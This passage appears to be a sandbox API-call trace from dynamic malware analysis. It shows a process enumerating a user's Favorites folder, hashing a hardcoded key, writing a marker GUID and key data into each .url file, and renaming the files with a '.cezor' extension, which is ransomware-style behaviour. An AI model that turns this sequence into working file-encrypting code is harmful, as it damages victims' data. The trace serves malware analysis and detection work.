Flags=0x0, Size=0x60) returned 0x30f6080 [0060.874] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.874] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.874] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.874] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.874] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.874] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0060.874] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.874] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.874] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.874] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.874] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.874] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.874] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.874] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.874] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.874] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.874] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.874] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.874] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.874] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.874] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.875] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.875] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.875] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.875] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.875] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.875] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.875] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.875] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.875] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.875] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\") returned="Links\\" [0060.875] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0060.875] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0060.875] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0060.875] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0060.875] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0060.875] PathFindFileNameW (pszPath="") returned="" [0060.875] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0060.875] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.875] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0060.875] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini") returned=".ini" [0060.876] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Suggested Sites.url", cAlternateFileName="SUGGES~1.URL")) returned 1 [0060.876] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url") returned=".url" [0060.876] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.885] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=236) returned 1 [0060.885] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.888] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xc6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.888] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.889] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xec, lpOverlapped=0x0) returned 1 [0060.889] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.889] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.889] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.889] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0060.890] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.890] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.890] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.890] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.890] GetLastError () returned 0x0 [0060.890] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.890] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0060.890] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.890] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.890] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.890] CloseHandle (hObject=0x5c4) returned 1 [0060.891] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url.cezor")) returned 1 [0060.893] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0060.893] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url") returned=".url" [0060.893] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.893] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=226) returned 1 [0060.893] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.896] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xbc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.896] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.897] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xe2, lpOverlapped=0x0) returned 1 [0060.897] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.897] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.897] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.897] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0060.897] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.898] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.898] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.898] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.898] GetLastError () returned 0x0 [0060.898] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.898] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0060.898] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xe2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.898] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.898] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.898] CloseHandle (hObject=0x5c4) returned 1 [0060.899] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url.cezor")) returned 1 [0060.902] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0060.902] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0060.902] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0060.902] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0060.903] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.903] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.903] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="Microsoft Websites\\" [0060.903] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0060.903] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0060.903] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0060.903] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0060.903] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0060.903] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0060.903] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0060.903] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0060.903] PathFindFileNameW (pszPath="") returned="" [0060.903] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.903] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0060.904] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.904] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.904] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0060.904] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.904] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xbe) returned 0x3016c78 [0060.904] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.904] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url") returned=".url" [0060.904] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.904] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=133) returned 1 [0060.904] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.907] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.907] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.908] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.908] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.908] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.908] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x85, lpOverlapped=0x0) returned 1 [0060.908] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.908] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.908] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.908] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.908] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e9a8) returned 1 [0060.909] CryptCreateHash (in: hProv=0x74e9a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.909] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.909] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.909] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.909] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.909] GetLastError () returned 0x0 [0060.909] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.909] CryptReleaseContext (hProv=0x74e9a8, dwFlags=0x0) returned 1 [0060.909] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.909] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301db48 [0060.909] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.909] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.909] WriteFile (in: hFile=0x5c4, lpBuffer=0x301db48*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x301db48*, lpNumberOfBytesWritten=0x9aafb24*=0x80, lpOverlapped=0x0) returned 1 [0060.910] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0060.910] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.910] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0060.910] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0060.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.910] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0060.910] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.910] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0060.910] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.910] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.910] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.910] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.910] CloseHandle (hObject=0x5c4) returned 1 [0060.911] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee788 [0060.911] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8b0) returned 0x3100c28 [0060.911] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee788 | out: hHeap=0x670000) returned 1 [0060.911] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url.cezor")) returned 1 [0060.911] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.911] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.912] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016c78 | out: hHeap=0x670000) returned 1 [0060.912] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0060.912] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 